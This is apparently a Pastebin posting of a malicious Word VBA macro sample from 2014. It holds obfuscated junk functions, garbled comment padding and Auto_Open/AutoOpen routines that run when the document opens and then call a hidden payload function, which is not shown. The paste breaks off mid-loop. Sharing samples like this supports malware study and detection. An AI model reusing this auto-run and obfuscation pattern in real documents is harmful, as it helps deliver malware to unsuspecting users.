SHARE
TWEET

Malicious Word macro

dynamoo Dec 8th, 2014 244 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Public Function QmBGkPFckKNMB17() As Integer
  10. Dim QlHEwpWHgrruq25, GgGdeTYcEVfSh76, EuWVTkPTHPNKW71, yOgaKgjRmiZGk62 As String
  11. Dim dXlJRImxXhZJw99, LYMliZBIHsrig38, uZibeFFVKVPzh15, yvjlrhCYxkQFG57 As Integer
  12. dXlJRImxXhZJw99 = 6194
  13. QlHEwpWHgrruq25 = E
  14. LYMliZBIHsrig38 = Asc(QlHEwpWHgrruq25)
  15. If dXlJRImxXhZJw99 > LYMliZBIHsrig38 Then
  16.     For uZibeFFVKVPzh15 = 1 To 31
  17.        yvjlrhCYxkQFG57 = LYMliZBIHsrig38 + uZibeFFVKVPzh15
  18.     Next uZibeFFVKVPzh15
  19. yvjlrhCYxkQFG57 = yvjlrhCYxkQFG57 + dXlJRImxXhZJw99
  20. GgGdeTYcEVfSh76 = CStr(yvjlrhCYxkQFG57)
  21. EuWVTkPTHPNKW71 = Mid$(GgGdeTYcEVfSh76, 1, 4)
  22. yOgaKgjRmiZGk62 = yOgaKgjRmiZGk62 & "62"
  23. QmBGkPFckKNMB17 = CInt(Mid$(yOgaKgjRmiZGk62, 2, 6))
  24. Else
  25. QmBGkPFckKNMB17 = 31 + 6194
  26. MsgBox ("tJTDEjSKBykjo92")
  27. End Function
  28.  
  29. Public Function hVKbQynbskORl19() As Integer
  30. Dim qtqfWPnuezkvH58, gwupruNQfAqiN38, WSlloNGPROyXb24, OmbvCSvMMTNaZ37 As String
  31. Dim rYBTbJpOngEIw24, kWArMrFqyFHrG55, HyJVzyzVcCZTf59, mCIfjaevXKLcV52 As Integer
  32. rYBTbJpOngEIw24 = 5369
  33. qtqfWPnuezkvH58 = u
  34. kWArMrFqyFHrG55 = Asc(qtqfWPnuezkvH58)
  35. If rYBTbJpOngEIw24 > kWArMrFqyFHrG55 Then
  36.     For HyJVzyzVcCZTf59 = 1 To 55
  37.        mCIfjaevXKLcV52 = kWArMrFqyFHrG55 + HyJVzyzVcCZTf59
  38.     Next HyJVzyzVcCZTf59
  39. mCIfjaevXKLcV52 = mCIfjaevXKLcV52 + rYBTbJpOngEIw24
  40. gwupruNQfAqiN38 = CStr(mCIfjaevXKLcV52)
  41. WSlloNGPROyXb24 = Mid$(gwupruNQfAqiN38, 1, 4)
  42. OmbvCSvMMTNaZ37 = OmbvCSvMMTNaZ37 & "25"
  43. hVKbQynbskORl19 = CInt(Mid$(OmbvCSvMMTNaZ37, 2, 6))
  44. Else
  45. hVKbQynbskORl19 = 55 + 5369
  46. MsgBox ("miUWraxxMUPbb67")
  47. End Function
  48.  
  49. Public Function UNuOKHOsHwIuL24() As Integer
  50. Dim bNkXQvQYkYlUW81, xYtEQanDzETci21, OQImkgQjOfaKN37, NRrmGcrMeIFrM46 As String
  51. Dim QclkSdTrTMjjM33, cfHpsNPAvGBXF76, pxZmqFTsXvgez41, wMmYjzYayCjNd25 As Integer
  52. QclkSdTrTMjjM33 = 7541
  53. bNkXQvQYkYlUW81 = a
  54. cfHpsNPAvGBXF76 = Asc(bNkXQvQYkYlUW81)
  55. If QclkSdTrTMjjM33 > cfHpsNPAvGBXF76 Then
  56.     For pxZmqFTsXvgez41 = 1 To 64
  57.        wMmYjzYayCjNd25 = cfHpsNPAvGBXF76 + pxZmqFTsXvgez41
  58.     Next pxZmqFTsXvgez41
  59. wMmYjzYayCjNd25 = wMmYjzYayCjNd25 + QclkSdTrTMjjM33
  60. xYtEQanDzETci21 = CStr(wMmYjzYayCjNd25)
  61. OQImkgQjOfaKN37 = Mid$(xYtEQanDzETci21, 1, 4)
  62. NRrmGcrMeIFrM46 = NRrmGcrMeIFrM46 & "38"
  63. UNuOKHOsHwIuL24 = CInt(Mid$(NRrmGcrMeIFrM46, 2, 6))
  64. Else
  65. UNuOKHOsHwIuL24 = 64 + 7541
  66. MsgBox ("QkqHCSzxePcZK91")
  67. End Function
  68.  
  69. Public Function sUULOqvVKEeEs88() As Integer
  70. Dim jTgxlYihbghPe24, pdshDfmvvQlUP46, lpIUeEYFHXHUu71, hBSaDiJptKLNq75 As String
  71. Dim MaACHesIZZNLx58, XUrlwAZFXBcRg22, sLFQlQQRLiJlZ86, OxlBNFGRDtpwm68 As Integer
  72. MaACHesIZZNLx58 = 3187
  73. jTgxlYihbghPe24 = q
  74. XUrlwAZFXBcRg22 = Asc(jTgxlYihbghPe24)
  75. If MaACHesIZZNLx58 > XUrlwAZFXBcRg22 Then
  76.     For sLFQlQQRLiJlZ86 = 1 To 89
  77.        OxlBNFGRDtpwm68 = XUrlwAZFXBcRg22 + sLFQlQQRLiJlZ86
  78.     Next sLFQlQQRLiJlZ86
  79. OxlBNFGRDtpwm68 = OxlBNFGRDtpwm68 + MaACHesIZZNLx58
  80. pdshDfmvvQlUP46 = CStr(OxlBNFGRDtpwm68)
  81. lpIUeEYFHXHUu71 = Mid$(pdshDfmvvQlUP46, 1, 4)
  82. hBSaDiJptKLNq75 = hBSaDiJptKLNq75 & "73"
  83. sUULOqvVKEeEs88 = CInt(Mid$(hBSaDiJptKLNq75, 2, 6))
  84. Else
  85. sUULOqvVKEeEs88 = 89 + 3187
  86. MsgBox ("fuzDvodcPHUnz15")
  87. End Function
  88.  
  89.  
  90. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  91. Sub Auto_Open()
  92. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  93. If 586782 = 586782 + 1 Then End
  94. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  95. If 6637 < 81 Then
  96. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  97.  
  98. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  99. Dim tUgxBHbC As Integer
  100. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  101. Dim WeSYWqCh As Integer
  102. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  103. For WeSYWqCh = 0 To 7
  104. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  105. DoEvents
  106. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  107. Next WeSYWqCh
  108. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  109. tUgxBHbC = 5
  110. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  111. Do While tUgxBHbC < 58
  112. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  113. Dim FJjkbjzI As Integer
  114. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  115. For FJjkbjzI = 0 To 6
  116. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  117. DoEvents
  118. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  119. Next FJjkbjzI
  120. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  121. DoEvents: tUgxBHbC = tUgxBHbC + 1
  122. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  123. Dim QtzxgRmd As Integer
  124. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  125. For QtzxgRmd = 0 To 2
  126. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  127. DoEvents
  128. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  129. Next QtzxgRmd
  130. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  131. Loop
  132. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  133.  
  134. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  135. Dim TLYiLPbT As Integer
  136. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  137. For TLYiLPbT = 0 To 1
  138. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  139. DoEvents
  140. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  141. Next TLYiLPbT
  142. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  143.        MsgBox ("facwvmEU44")
  144. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  145. End If
  146. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  147. If Len("XoqUXSeQ3784") = Len("nxuwIiQH") Then
  148. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  149.  
  150. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  151. Dim hmWVqRHe As Integer
  152. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  153. Dim AfGwTJaw As Integer
  154. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  155. For AfGwTJaw = 0 To 6
  156. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  157. DoEvents
  158. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  159. Next AfGwTJaw
  160. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  161. hmWVqRHe = 7
  162. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  163. Do While hmWVqRHe < 48
  164. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  165. Dim vIelbLWI As Integer
  166. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  167. For vIelbLWI = 0 To 3
  168. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  169. DoEvents
  170. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  171. Next vIelbLWI
  172. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  173. DoEvents: hmWVqRHe = hmWVqRHe + 1
  174. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  175. Dim oxaZKiWr As Integer
  176. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  177. For oxaZKiWr = 0 To 4
  178. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  179. DoEvents
  180. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  181. Next oxaZKiWr
  182. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  183. Loop
  184. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  185.  
  186. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  187. Dim ahiBzqFh As Integer
  188. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  189. For ahiBzqFh = 0 To 3
  190. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  191. DoEvents
  192. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  193. Next ahiBzqFh
  194. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  195.       MsgBox ("Error !!!")
  196. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  197. End If
  198. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  199.  
  200. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  201. Dim cEUNlxli As Integer
  202. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  203. Dim RCdUhPZj As Integer
  204. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  205. For RCdUhPZj = 0 To 1
  206. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  207. DoEvents
  208. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  209. Next RCdUhPZj
  210. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  211. cEUNlxli = 8
  212. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  213. Do While cEUNlxli < 36
  214. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  215. Dim BAiBafZu As Integer
  216. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  217. For BAiBafZu = 0 To 5
  218. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  219. DoEvents
  220. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  221. Next BAiBafZu
  222. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  223. DoEvents: cEUNlxli = cEUNlxli + 1
  224. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  225. Dim VQgcVgNf As Integer
  226. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  227. For VQgcVgNf = 0 To 8
  228. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  229. DoEvents
  230. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  231. Next VQgcVgNf
  232. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  233. Loop
  234. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  235.  
  236. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  237. Dim kmDRrAYl As Integer
  238. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  239. For kmDRrAYl = 0 To 2
  240. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  241. DoEvents
  242. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  243. Next kmDRrAYl
  244. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  245. BDMLBVTBLGM
  246. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  247.  
  248. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  249. End Sub
  250. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  251. Sub AutoOpen()
  252. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  253. If 426546 = 426546 + 1 Then End
  254. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  255. If 5679 < 43 Then
  256. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  257.  
  258. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  259. Dim koVSeRjr As Integer
  260. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  261. Dim DWXMPzVF As Integer
  262. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  263. For DWXMPzVF = 0 To 6
  264. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  265. DoEvents
  266. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  267. Next DWXMPzVF
  268. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  269. koVSeRjr = 7
  270. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  271. Do While koVSeRjr < 22
  272. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  273. Dim PqTiVyti As Integer
  274. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  275. For PqTiVyti = 0 To 5
  276. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  277. DoEvents
  278. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  279. Next PqTiVyti
  280. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  281. DoEvents: koVSeRjr = koVSeRjr + 1
  282. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  283. Dim wNEjjwtE As Integer
  284. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  285. For wNEjjwtE = 0 To 8
  286. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  287. DoEvents
  288. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  289. Next wNEjjwtE
  290. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  291. Loop
  292. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  293.  
  294. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  295. Dim TLRsYwla As Integer
  296. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  297. For TLRsYwla = 0 To 1
  298. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  299. DoEvents
  300. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  301. Next TLRsYwla
  302. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  303.        MsgBox ("btxnTqMJ65")
  304. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  305. End If
  306. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  307. If Len("KuUWXLFS3636") = Len("eTIkCIIo") Then
  308. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  309.  
  310. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  311. Dim GxhldSSq As Integer
  312. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  313. Dim yQGlHWRo As Integer
  314. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  315. For yQGlHWRo = 0 To 3
  316. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  317. DoEvents
